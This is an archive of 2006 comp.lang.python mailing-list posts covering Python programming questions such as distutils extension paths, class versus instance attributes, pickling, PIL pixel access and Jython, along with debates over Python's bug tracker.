From alexandre.guimond at siemens.com Wed Oct 18 06:57:39 2006 From: alexandre.guimond at siemens.com (Alexandre Guimond) Date: 18 Oct 2006 03:57:39 -0700 Subject: portable extensions options for external libraries Message-ID: <1161169059.597192.43430@k70g2000cwa.googlegroups.com> Hi. I want to create a portable setup.py file for windows / linux for an extension package that i need to link with external libraries (gsl and boost). on windows i do something like this: imaging = Extension( 'pyag.imaging._imaging', sources = ( glob.glob( 'Source/pyag/imaging/Src/*.cpp' ) + glob.glob( 'Source/pyag/imaging/Src/*.h' ) ), include_dirs = ( get_numpy_include_dirs() + [ 'Source/pyag/imaging/Src/', 'C:/Program Files/boost/include/boost-1_35', 'C:/Program Files/GnuWin32/include'] ), library_dirs = [ 'C:/Program Files/GnuWin32/lib' ], libraries = [ 'libgsl', 'libgslcblas' ] ) obviously, the paths could vary. on unix, i need something like: imaging = Extension( 'pyag.imaging._imaging', sources = ( glob.glob( 'Source/pyag/imaging/Src/*.cpp' ) + glob.glob( 'Source/pyag/imaging/Src/*.h' ) ), include_dirs = ( get_numpy_include_dirs() + [ 'Source/pyag/imaging/Src/' ] ) ) so my question is: what is the right way of specifying extensions options (include_dirs, libraries, library_dirs) so that they are portable between windows and linux? i'm thinking environment variables. Though fairly easy to do, i was wondering if python/distutils provided something more convenient, like searching through "common" directories, though those aren't very standard on windows? Optimally, i would like to have something like: imaging = Extension( 'pyag.imaging._imaging', sources = ( glob.glob( 'Source/pyag/imaging/Src/*.cpp' ) + glob.glob( 'Source/pyag/imaging/Src/*.h' ) ), include_dirs = ( get_numpy_include_dirs() + [ 'Source/pyag/imaging/Src/' ] + boost_include_dirs + gsl_include_dirs ), library_dirs = boost_library_dirs + gsl_library_dirs, libraries = boost_libraries + gsl_libraries ) thx for any help. alex. From Bulkan at gmail.com Fri Oct 20 06:38:57 2006 From: Bulkan at gmail.com (placid) Date: 20 Oct 2006 03:38:57 -0700 Subject: BeautifulSoup problem In-Reply-To: References: <1161330895.808308.292910@i42g2000cwa.googlegroups.com> Message-ID: <1161340737.698182.208880@k70g2000cwa.googlegroups.com> Marc 'BlackJack' Rintsch wrote: > In <1161330895.808308.292910 at i42g2000cwa.googlegroups.com>, placid wrote: > > > Hi all, > > > > Just wondering if anyone knows how to get the text between the tags of > > the following Tag object? > > > > Hello > > Are you looking for a way to search for tag *and* attributes? What about > this:: > > In [12]: soup.find('span', {'class': 'nametext'}).contents > Out[12]: [u'Hello'] No this wasnt what i was looking for because i didnt know you could do this. Thanks for that, this is better. Cheers From hanumizzle at gmail.com Fri Oct 6 00:53:25 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 00:53:25 -0400 Subject: dictionary of list from a file In-Reply-To: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> Message-ID: <463ff4860610052153p514f1a8bm7597a3d25865d4f9@mail.gmail.com> On 4 Oct 2006 06:09:21 -0700, andrea.spitaleri at gmail.com wrote: > Hi guys, > this is my first post. my "programming" background is perlish scripting > and now I am learning python. I need to create a dictionary of list > from a file. Normally in perl I use to do like: You may wish to consider some kind of data serialization. For python specifically, there's pickle and cPickle, for many platforms there is YAML (I recommend this; the py binding is really good), and as a last resort you can use XML (yuck). From oliphant.travis at ieee.org Wed Oct 25 02:38:21 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Wed, 25 Oct 2006 00:38:21 -0600 Subject: numbers to string In-Reply-To: References: Message-ID: David Isaac wrote: >>>> y > [116, 114, 121, 32, 116, 104, 105, 115] >>>> z=''.join(chr(yi) for yi in y) >>>> z > 'try this' > > What is an efficient way to do this if y is much longer? > (A numpy solution is fine.) Here's another numpy solution just for fun: import numpy z = numpy.array(y,dtype='u1').view('S%d' % len(y))[0] -Travis From pavlovevidence at gmail.com Wed Oct 18 04:46:21 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 18 Oct 2006 01:46:21 -0700 Subject: creating many similar properties In-Reply-To: <1161160436.888246.21020@m73g2000cwd.googlegroups.com> References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> <1161158181.103138.294330@b28g2000cwb.googlegroups.com> <1161160057.392965.323330@m73g2000cwd.googlegroups.com> <1161160436.888246.21020@m73g2000cwd.googlegroups.com> Message-ID: <1161161181.169918.126210@b28g2000cwb.googlegroups.com> Michele Simionato wrote: > Carl Banks wrote: > > Devil's Advocate: he did say "hidden magic TO YOUR CLASS". > > > > If you use a (real) metaclass, then you have the icky feeling of a > > class permanently tainted by the unclean metaclass (even though the > > metaclass does nothing other than touch the class dict upon creation); > > whereas if you use Michele Simionato's hack, the icky feeling of using > > a stack frame object goes away after the property is created: you are > > left with a clean untainted class. > > Yep, exactly. > > > Personally, the former doesn't make me feel icky at all. > > Please, do this experiment: take all classes defined in the Python > standard library and add > to them a custom do-nothing metaclass. See what happens. Do you expect the result to be better or worse than if you applied stack frame hacks to the whole library? Come on, I don't think anyone's under the impression we're being indiscriminate here. Carl Banks (BTW, most of the standard library still uses old-style classes.) From jorge.com.br at gmail.com Tue Oct 3 09:12:16 2006 From: jorge.com.br at gmail.com (Jorge Vilela) Date: Tue, 3 Oct 2006 09:12:16 -0400 Subject: Python components Message-ID: <4cfa17b10610030612h72af1f2cod89bc30da6ad9fd2@mail.gmail.com> Hello group! We know that Python have many components not too knowledge. I think that I'm looking for one of them. I need embed a good document editor ( as Word or Writer ) in my small python application, for document editing. It's to lawyers make important documents and control them using the application, that's the reason why need be a good editor (edit tables, border, paragraphs etc). I had though about anything that embed the Microsoft word/Open Office Writer in application, but now i think kinda impossible. So, maybe exist some component for a rich editing documents. Do anyone know any? I'm using pyGTK, but dont care if it use any other grafic tool. Thanks Jorge -------------- next part -------------- An HTML attachment was scrubbed... URL: From daigno at gmail.com Wed Oct 25 17:15:47 2006 From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault?=) Date: Wed, 25 Oct 2006 17:15:47 -0400 Subject: Using classes in python In-Reply-To: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com> References: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com> Message-ID: <453FD403.7000800@gmail.com> trevor lock wrote: > Hello, > > I've just started using python and have observed the following : > > class foo: > a=[] > def __init__(self, val): > self.a.append ( val ) > def getA(self): > print self.a > return self.a > > z = foo(5) > y = foo(4) > z.getA() > >> [5, 4] > > I was expecting that everytime I created an instance of the class that > a unique dictionary was also created, however it seems that only one > dictionary is created. Yep... Normal... I just asked the question here a couple days ago... I felt like I bumbed into a wall, even reported as a bug... Turned out Guido and his bunch cleaned the window so nicely I bumbed right into it..... All I had to do is open the door :-) http://youtube.com/watch?v=6E7urz5rXVc&mode=related&search= No really, jokes appart here goes : "a" here is a *class* attribute. When you create a new *Instance* of a class you can access the atttribute of the class. But what you need is a Instance attribute... Try this class toto: list = [] def __init__(self, val): self.list = [] self.list.append(val) toto.list.append(val) def getList(self): return self.list def getClassList(self): return toto.list if __name__ == '__main__': toto1 = toto(6) titi1 = toto("Patate") print toto1.getList() print titi1.getList() print toto1.getClassList() print titi1.getClassList() running this gives : [6] ['Patate'] [6, 'Patate'] [6, 'Patate'] Therefore creating an instance of toto creates *two* instances of the list attribute. The object instance overshadowing the class attribute... > > How can I create a new dictionary for each instance? Simple answer is therefore to place variable declaration in the __init__ method... > > Thanks, > Trevor. From toby.tan at gmail.com Mon Oct 30 21:18:31 2006 From: toby.tan at gmail.com (Toby) Date: 30 Oct 2006 18:18:31 -0800 Subject: Error importing .pyd python extension In-Reply-To: <1162255114.879457.175290@h48g2000cwc.googlegroups.com> References: <1162255114.879457.175290@h48g2000cwc.googlegroups.com> Message-ID: <1162261111.166488.25300@m7g2000cwm.googlegroups.com> P.S. I have run 'depends', and all the dll's are there, the only error its throwing up is: "Warning: At least one module has an unresolved import due to a missing export function in a delay-load dependent module." The offending file is mpr.dll in c:\windows\system32\ Any ideas? Toby Toby wrote: > Hi, I've managed to get my hands on the ms 2003 toolkit, and have > successfully (i think) created a .pyd file in win xp (setup.py is > provided intersystems cache): > > -------------------------------------------------------------------- > C:\CacheSys\Dev\python>setup.py install > enter directory where you installed Cache'c:\CacheSys > libdir=c:\CacheSys\dev\cpp\lib > include dir=c:\CacheSys\dev\cpp\include > running install > running build > running build_py > running build_ext > running install_lib > creating C:\Program Files\Python243\Lib\site-packages\intersys > copying build\lib.win32-2.4\intersys\pythonbind.py -> C:\Program > Files\Python243 > \Lib\site-packages\intersys > copying build\lib.win32-2.4\intersys\pythonbind1.pyd -> C:\Program > Files\Python2 > 43\Lib\site-packages\intersys > copying build\lib.win32-2.4\intersys\__init__.py -> C:\Program > Files\Python243\L > ib\site-packages\intersys > byte-compiling C:\Program > Files\Python243\Lib\site-packages\intersys\pythonbind. > py to pythonbind.pyc > byte-compiling C:\Program > Files\Python243\Lib\site-packages\intersys\__init__.py > to __init__.pyc > > C:\CacheSys\Dev\python>cd \program > files\python243\Lib\site-packages\intersys\ > > C:\Program Files\Python243\Lib\site-packages\intersys>dir > Volume in drive C is SYSTEM > Volume Serial Number is 3835-49DE > > Directory of C:\Program Files\Python243\Lib\site-packages\intersys > > 31/10/2006 10:47 AM . > 31/10/2006 10:47 AM .. > 19/10/2006 05:50 PM 1,598 pythonbind.py > 31/10/2006 10:47 AM 1,961 pythonbind.pyc > 31/10/2006 09:44 AM 69,632 pythonbind1.pyd > 17/07/2006 05:34 PM 2 __init__.py > 31/10/2006 10:47 AM 145 __init__.pyc > 5 File(s) 73,338 bytes > 2 Dir(s) 16,709,017,600 bytes free > -------------------------------------------------------------------- > > However, when I try to import pythonbind1.pyd I get the following > error: > > Traceback (most recent call last): > File > "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py", > line 1843, in runMain > self.dbg.runfile(debug_args[0], debug_args) > File > "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py", > line 1538, in runfile > h_execfile(file, args, module=main, tracer=self) > File > "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py", > line 596, in __init__ > execfile(file, globals, locals) > File "C:\Program > Files\Python243\Lib\site-packages\intersys\tobytest.py", line 1, in > __main__ > import pythonbind1.pyd > ImportError: DLL load failed: The specified module could not be found. > > > Any suggestions? From goonmail at netspace.net.au Sun Oct 8 23:16:15 2006 From: goonmail at netspace.net.au (goon) Date: 8 Oct 2006 20:16:15 -0700 Subject: WSGI - How Does It Affect Me? In-Reply-To: References: Message-ID: <1160363775.763070.209140@c28g2000cwb.googlegroups.com> > Trying to research this on the web now Lots of articles now appearing summarising WSGI ... For definitive reference: [0] Overview: [1] and [2] Reference [0] python.org, 'Python Web Server Gateway Interface v1.0, Phillip J. Eby' [Accessed Monday, 9 October 2006] [1] xml.com, ''Introducing WSGI: Python's Secret Web Weapon, James Gardner' [Accessed Monday, 9 October 2006] [2] xml.com, 'Introducing WSGI: Python's Secret Web Weapon, Part Two, James Gardner' [Accessed Monday, 9 October 2006] From hpsekhon at googlemail.com Tue Oct 3 09:47:32 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Tue, 03 Oct 2006 14:47:32 +0100 Subject: Best way to handle large lists? In-Reply-To: References: Message-ID: <452269F4.5000906@googlemail.com> I don't know much about the python internals either, so this may be the blind leading the blind, but aren't dicts much slower to work with than lists and therefore wouldn't your suggestion to use dicts be much slower? I think it's something to do with the comparative overhead of using keys in dicts rather than using positional indexes in lists/arrays... At least that is what I thought. Can anyone confirm this? -h Hari Sekhon Bill Williams wrote: > I don't know enough about Python internals, but the suggested solutions > all seem to involve scanning bigList. Can this presumably linear > operation be avoided by using dict or similar to find all occurrences of > smallist items in biglist and then deleting those occurrences? > > Bill Williams > > > > In article , > Chaz Ginger wrote: > > >> I have a system that has a few lists that are very large (thousands or >> tens of thousands of entries) and some that are rather small. Many times >> I have to produce the difference between a large list and a small one, >> without destroying the integrity of either list. I was wondering if >> anyone has any recommendations on how to do this and keep performance >> high? Is there a better way than >> >> [ i for i in bigList if i not in smallList ] >> >> Thanks. >> Chaz >> From steve at REMOVE.THIS.cybersource.com.au Fri Oct 27 10:03:52 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 28 Oct 2006 00:03:52 +1000 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On Fri, 27 Oct 2006 12:54:35 +0100, Steve Holden wrote: > Antoon Pardon wrote: >> On 2006-10-27, Fredrik Lundh wrote: >> >>>Antoon Pardon wrote: >>> >>> >>>>>since you never publish any code, >>>> >>>>This is not True. You shouldn't confuse your lack of recollection >>>>with reality. >>> >>>pointers, please. >> >> >> Sorry, the answer is no. I don't care whether you can locate my code >> or not or wish to believe me or not. >> > Google finds 2 hits for "Anton Pardoon open source". You are ceratinly > keeping it well hidden. > > Few people have more right to call you on this than the effbot, well > known for his prolific output. This may come as a shock to some of us in the Open Source arena, but the care-factor of code is not necessarily tied to the number of distinct pieces of code released to the public by the code's author. Many people, for example, care a lot about the software running in nuclear reactors, regardless of whether or not the code's author is a prolific Open Source developer. Of course Fredrik has a proven track record, and the quality of his code is out there for any interested person to see. That means that the wise person, even if he disagrees with Fredrik, should take what he has to say seriously. If Fredrik is dismissive of Antoon's use of "if len(list) != 0" instead of "if list", we should take that opinion very seriously. But for all we know, Antoon's code might be responsible for keeping nuclear reactors running, planes in the air, missiles hitting their targets, or some other really critical application. His lack of visible code doesn't *necessarily* mean we should dismiss what he has to say -- it merely means that his track record is unproven to us. And even if he does nothing but write trivial scripts for his own use, that fact alone doesn't make his opinion wrong or foolish. But in this specific instance, I don't see any advantage to explicitly testing the length of a list. Antoon might think that is sufficiently polymorphic, but it isn't. He cares whether the object has zero _length_, but for true polymorphism, he should be caring about whether the object is _empty_. Not all empty objects have zero length, or even a length at all. (E.g. binary trees.) That's why Python classes can use a __nonzero__ method, falling back on __len__ only if __nonzero__ is not defined. -- Steven. From tjreedy at udel.edu Tue Oct 3 23:05:01 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 3 Oct 2006 23:05:01 -0400 Subject: Can't get around "IndexError: list index out of range" References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <4522e238$0$25774$4d3efbfe@news.sover.net> Message-ID: "Leif K-Brooks" wrote in message news:4522e238$0$25774$4d3efbfe at news.sover.net... > erikwickstrom at gmail.com wrote: >> I'm trying to get this bit of code to work without triggering the >> IndexError. >> >> import shutil, os, sys >> >> if sys.argv[1] != None: >> ver = sys.argv[1] >> else: >> ver = '2.14' > > Catch it: > > try: > ver = sys.argv[1] > except IndexError: > ver = '2.14' Or slice it: if sys.argv[1:2] != []: tjr From alexLIGO at googlemail.com Wed Oct 25 10:32:07 2006 From: alexLIGO at googlemail.com (alexLIGO at googlemail.com) Date: 25 Oct 2006 07:32:07 -0700 Subject: Save/Store whole class (or another object) in a file In-Reply-To: References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com> <1161182001.167535.87690@i3g2000cwc.googlegroups.com> Message-ID: <1161786727.762448.175330@i3g2000cwc.googlegroups.com> Hi, Fredrik Lundh wrote: > alexLIGO at googlemail.com wrote: > > > thanks for the reply,but unfortunately this does not work with the type > > of classes I am dealing with. When trying to pickle the class I get the > > following error: > > > > File "/usr/lib/python2.4/copy_reg.py", line 76, in _reduce_ex > > raise TypeError("a class that defines __slots__ without " > > TypeError: a class that defines __slots__ without defining __getstate__ > > cannot be pickled > > > > So there is something missing in this class? > > did you remember to read the error message before posting ? > of course I read the error-message, I understand the error-message, BUT this message is not telling me how anyway to save the data of such a class in a file! It does not tell me, that there is absolutely no way to do that. Maybe there is, maybe there is not. Thats why I am posting it here! Alex From steve at holdenweb.com Mon Oct 23 17:05:44 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Oct 2006 22:05:44 +0100 Subject: How to get each pixel value from a picture file! In-Reply-To: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> Message-ID: Lucas wrote: > I want to change some pixel value in the picture file. how to do it? > The most popular way is probably the Python Image Library, known to its friends as PIL: http://www.pythonware.com/products/pil/ You will see from http://www.pythonware.com/library/pil/handbook/image.htm that images have .getpixel() and .putpixel() methods that will allow you to read and set individual pixels if you want. Be aware that the forthcoming release will give faster access using something called "pixel access objects", about which I know nothing. > If I read the file in binary mode, a bit == a pixel ? > Only for monochrome images, of course. Greyscale and color images have more bits per pixel, and some formats use a palette mapping to allow high color-fidelity with fewer bits per pixel (GIF is one such format). Download PIL and play with it. I'm sure you'll have a lot of fun, and you can do a surprising amount of processing just noodling around in an interactive interpreter session. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From alexLIGO at googlemail.com Wed Oct 18 10:33:21 2006 From: alexLIGO at googlemail.com (alexLIGO at googlemail.com) Date: 18 Oct 2006 07:33:21 -0700 Subject: Save/Store whole class (or another object) in a file In-Reply-To: References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com> Message-ID: <1161182001.167535.87690@i3g2000cwc.googlegroups.com> Hi, thanks for the reply,but unfortunately this does not work with the type of classes I am dealing with. When trying to pickle the class I get the following error: File "/usr/lib/python2.4/copy_reg.py", line 76, in _reduce_ex raise TypeError("a class that defines __slots__ without " TypeError: a class that defines __slots__ without defining __getstate__ cannot be pickled So there is something missing in this class? Or any other idea how to do this? Alex Sybren Stuvel wrote: > alexLIGO at googlemail.com enlightened us with: > > is it possible in python (with/without matplotlib, numpy etc) to > > store a whole class with its data into a file > > Check out the pickle module. > > Sybren > -- > Sybren St?vel > St?vel IT - http://www.stuvel.eu/ From ejensen at visi.com Thu Oct 12 17:31:22 2006 From: ejensen at visi.com (Ed Jensen) Date: Thu, 12 Oct 2006 21:31:22 -0000 Subject: Python component model References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> Message-ID: <12itd1as7dg9jdd@corp.supernews.com> Paul Boddie wrote: > People who bring up stuff about self and indentation are just showing > their ignorance Ouch. That stings. Python's "indentation determines scope" makes it hard for me to discuss Python via mediums like IRC and instant messengers. It also makes it hard to quickly jump to the top and/or bottom of code blocks in most editors I use on a day to day basis. I guess I'm just ignorant. :( From skip at pobox.com Mon Oct 16 17:11:19 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 16 Oct 2006 16:11:19 -0500 Subject: OT: What's up with the starship? In-Reply-To: <4533EE8A.7030301@hathawaymix.org> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> <4533D84B.4060405@hathawaymix.org> <4533EE8A.7030301@hathawaymix.org> Message-ID: <17715.62839.376767.210816@montanaro.dyndns.org> Shane> I'm trying to understand: Shane> a) how urgent and/or exploitable this is, Perhaps not very. As I indicated in an earlier post, the exploit has been available since 2001, so it is probably fairly hard to exploit. Shane> b) how I can check whether a given Python installation (running Shane> on a server) has been patched, and If it's running 2.4.4 or 2.5 it should be okay. If it's running some earlier version a lot will depend on whether Python was installed by a Linux distributor (in which case check their version numbers and their release notes) or installed locally from source. Shane> c) whether the security advisory downplays the risk more than it Shane> should, since it appears that many Zope/Plone web servers are Shane> vulnerable. I can't pretend to divine the true meaning behind all the wording of the various security advisories. You'd have to ask each one of the security organizations. Here's one example: http://secunia.com/advisories/22276/ The application has to work with Unicode on a UCS-4-compiled version of Python and use the repr() function on such Unicode strings. Furthermore, the black hat would have to figure out how to get a suitably crafted Unicode string into the repr() function at just the right place. I'm not saying it can't be done, but I think it would be a fairly challenging undertaking. Skip From mail at microcorp.co.za Sat Oct 14 01:53:54 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sat, 14 Oct 2006 07:53:54 +0200 Subject: Starting out. References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com><1160696990.5969.4.camel@dsktp><452f06a8$0$5108$afc38c87@news.optusnet.com.au><1160721163.418861.269450@f16g2000cwb.googlegroups.com> <1160784543.238714.132310@k70g2000cwa.googlegroups.com> Message-ID: <000f01c6ef55$3fa6ea40$03000080@hendrik> wrote: 8<------------------------ > Well, I'm on vacation this week, so 5 pm means nothing to me: > > teetertotter > > from the Consolidated Word List from puzzlers.org. > > Yes, it's also spelled with a hyphen or a space, but as long as this > is a valid spelling, it counts. > > I would recommend NOT looking this up, just take my word for it. > You may be offended at what you find. did not need to look it up - I know that teetertotter is a complicated word for "see-saw"..... - Hendrik From apardon at forel.vub.ac.be Wed Oct 4 07:45:03 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 4 Oct 2006 11:45:03 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: On 2006-10-03, LaundroMat wrote: > Suppose I have this function: > > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? "None" doesn't seem to work.. > > Thanks in advance. > I think the only general solution for your problem would be to define a defaulter function. Something like the following: Default = object() def defaulter(f, *args): while args: if args[-1] is Default: args = args[:-1] else: break return f(*args) The call: defaulter(f, arg1, arg2, Default, ..., Default) would then be equivallent to: f(arg1, arg2) Or in your case you would call: defaulter(f, Default) -- Antoon Pardon From nick at craig-wood.com Wed Oct 4 05:30:03 2006 From: nick at craig-wood.com (Nick Craig-Wood) Date: Wed, 04 Oct 2006 04:30:03 -0500 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159875634.285633.226980@k70g2000cwa.googlegroups.com> Message-ID: lbolognini at gmail.com wrote: > And i dunno what the case against Trac is (it looks a fine tool for my > small projects) but probably it's not good enough for python.org Trac is really good in my experience. http://trac.edgewall.org/ Python.org has already moved to svn so trac is surely the next part of the equation. Having an integrated Bugtracker / Wiki / Svn repository browser is very helpful. We use it for all our commercial work. It is also in use by MythTV which judging by the volume of its mailing lists is about or more active a project than python. http://svn.mythtv.org/trac/ A nice extra is that it is written in python. -- Nick Craig-Wood -- http://www.craig-wood.com/nick From ray_usenet at yahoo.com Tue Oct 10 20:30:39 2006 From: ray_usenet at yahoo.com (Ray) Date: 10 Oct 2006 17:30:39 -0700 Subject: (semi-troll): Is Jython development dead? In-Reply-To: <1PVWg.35855$HE.987929@weber.videotron.net> References: <1PVWg.35855$HE.987929@weber.videotron.net> Message-ID: <1160526639.638053.120790@b28g2000cwb.googlegroups.com> Steve Menard wrote: > Keep in mind that Ruby and Python are close enough in style, that any > improvements those guys make will also benifit Jython. This is perhaps true in the long run, in the sense that it may make it easier for someone to implement Jython because those guys will make the JVM more dynamic language friendly. But in the short term it surely benefits Ruby significantly more than any other dynamic languages out there. > Also, they haven't been hired to work exclusively on JRuby. They were also > hired to look at tools to help with programming with dynamic languages. In > this regard, they can help not only Jython, but Python itself! This is just like how Microsoft hired Jim Hugunin, isn't it? He was hired to work on making .NET a friendly platform for dynamic languages. The fact that he did IronPython benefits Python--bigger initial exposure to the .NET world. Not Ruby (yet) > All in all a very good thing to see a high-profile company invest in dynamic > languages. Indeed! > Steve Menard From mgbg25171 at blueyonder.co.uk Wed Oct 4 07:49:22 2006 From: mgbg25171 at blueyonder.co.uk (m g william) Date: Wed, 04 Oct 2006 12:49:22 +0100 Subject: replacing all 'rng's in a buffer with consecutive r[1], r[2]'s Message-ID: <1159962562.4478.18.camel@localhost.localdomain> I read a file into a buffer and subject it to re.sub() I can replace every occurrence of a pattern with a fixed string but when I try to replace each occurrence with a string that changes (by having an incrementing number in it, (ie 'repTxt[1]','repTxt[2]'etc), I note that the incrementing number generator function, I'm calling in re.sub(), (which works fine outside it), seems to be evaluated only once and is therefore not incrementing the number. Can someone please show me a working eg of how to replace 'rng' in a file with 'r[1]', 'r[2]' etc. This is my first Python program so any help would be very gratefully received. Here's my code [CODE] #read orig file into buf & close file import re infile = file('pyInfile', 'r') buf = infile.read() infile.close() print buf #replace all allocated streams with 'rng' print '=========== orig buf ============'; print buf pat = re.compile('r\[\d+\]') buf = pat.sub("rng", buf, 0) #now replace all 'rng's with consecutive streams #=============================================== def static_num(): ''' this is a generator function that avoids globals yield differentiates fn as generator fn which freezes ''' x = 0 while True: x += 1 yield str(x) static = static_num().next pat = re.compile('rng') #there is a problem in that static only seems to get called once. #need to invoke this every time you get a match for it to #increment buf = pat.subn('rng[' + static() + ']', buf, 0) print 'static() incrementing ok ' + static() print 'static() incrementing ok ' + static() print '=========== changed to ============'; print buf[0] #outfile = file('pyOutfile', 'w') #outfile.write(buf) [/CODE] From joncle at googlemail.com Mon Oct 16 12:08:07 2006 From: joncle at googlemail.com (Jon Clements) Date: 16 Oct 2006 09:08:07 -0700 Subject: jython and toString In-Reply-To: <1161011602.075688.29370@i42g2000cwa.googlegroups.com> References: <1161011602.075688.29370@i42g2000cwa.googlegroups.com> Message-ID: <1161014887.072934.207660@f16g2000cwb.googlegroups.com> ivansh wrote: > Hello, > > For one java class (Hello) i use another (HelloPrinter) to build the > string representation of the first one. When i've tried to use this > from within jython, HelloPrinter.toString(hello) call gives results > like Object.toString() of hello has being called. The example below > shows this behaviour. > Could somebody explain this? > > > // Hello.java > package jythontest; > public class Hello { > private String name; > public Hello(String name) > { > this.name = name; > } > public String sayHello() > { > return "Hello, "+name; > } > } > > // HelloPrinter.java > package jythontest; > public class HelloPrinter { > public static String toString(Hello h) > { > return h.sayHello(); > } > > public static String toMyString(Hello h) > { > return h.sayHello(); > } > } > > > > # calljava.py > from jythontest import * > h = Hello("theName") > print h > print HelloPrinter.toString(h) > print HelloPrinter.toMyString(h) > > OUTPUT: > jythontest.Hello at 523ca2 // GOOD > jythontest.Hello at 523ca2 // WRONG > Hello, theName // GOOD > > > Jython 2.1 on java (JIT: null) > > java version "1.5.0_03" > Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_03-b07) > Java HotSpot(TM) Server VM (build 1.5.0_03-b07, mixed mode) I'm guessing your toString(Hello h) is never being called because there's another toString(something) behind the scenes that's being preferred. I could be well wrong, but I'm guessing toString isn't meant to be static, and when you create an object in Java they inherit from object which defines a default toString. It might be a temporary object of type HelloPrinter is created in the call to "print HelloPrinter.toString(h)", and the method you end up calling is the toString for that temporary (not your static one). This would especially make sense if there's a version of toString which takes an object, and returns its toString result... I'm basing this purely on the fact PrintHello.toMyString() works... so take with a pinch of salt. Jon. From gagsl-py at yahoo.com.ar Thu Oct 26 16:01:52 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 26 Oct 2006 17:01:52 -0300 Subject: conditional computation In-Reply-To: References: Message-ID: <7.0.1.0.0.20061026165938.039bd078@yahoo.com.ar> At Thursday 26/10/2006 16:30, robert wrote: >I want to use a computation cache scheme like > > > o = CACHECOMPUTE complex-key-expr expensive-calc-expr > > >frequently and elegantly without writing complex-key-expr or >expensive-calc-expr twice. >So its ugly: > > _=complex-key-expr; o=cache.get(_) or > cache.setdefault(_,expensive-calc-expr) > >Any ideas? The memoize pattern can help; in http://wiki.python.org/moin/PythonDecoratorLibrary you can see an implementation using decorators. -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From eldorado at io.com Fri Oct 13 14:10:55 2006 From: eldorado at io.com (eldorado) Date: Fri, 13 Oct 2006 13:10:55 -0500 Subject: Newbie question - leading zeros Message-ID: <20061013130805.T91050@eris.io.com> I have looked around and cannot seem to find a way to strip leading zeros off of values in a dictionary. Basically, I am looking to do a for loop and any value that has one or more leading zeros would be stripped. Any pointers would be appreciated. Thanks -- Randomly generated signature ICMP: The protocol that goes PING! From steve at holdenweb.com Thu Oct 5 03:24:51 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 08:24:51 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: <878xjve0fs.fsf@benfinney.id.au> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <452410E9.9040403@v.loewis.de> <1159997348.228622.246410@h48g2000cwc.googlegroups.com> <87hcyjel70.fsf@benfinney.id.au> <878xjve0fs.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > Steve Holden writes: > > >>And I'd prefer it if you'd drop this subject. So, if you have >>nothing new to say, kindly leave it. > > > I'm happy to, but: > > >>You appear to be prepared to go to any length short of providing >>effort to support the open source tracker. > > > This was addressed in a previous post. I don't have the skills nor the > resources to do this. Yes, as has been pointed out, it actually *is* > far less effort to point out problems, than to solve them. That > doesn't detract from the value of pointing out problems. > > This thread was started on the shock of realising that a non-free tool > was even being *considered* for the new Python bug tracker. Those are > the terms on which I've been arguing. > > Apparently there are some people who *have* put themselves forward to > support a free-software tool. Great! My point all along has been that > Python's developers are well advised to consider *only* free-software > tools for supporting development of Python, and that from among those > the best tool for the job should be chosen. > > As you say, nothing new has been said now for a while, so in the > absence of that I'm happy to leave it here. > In case readers are puzzled by the absence of the message to which 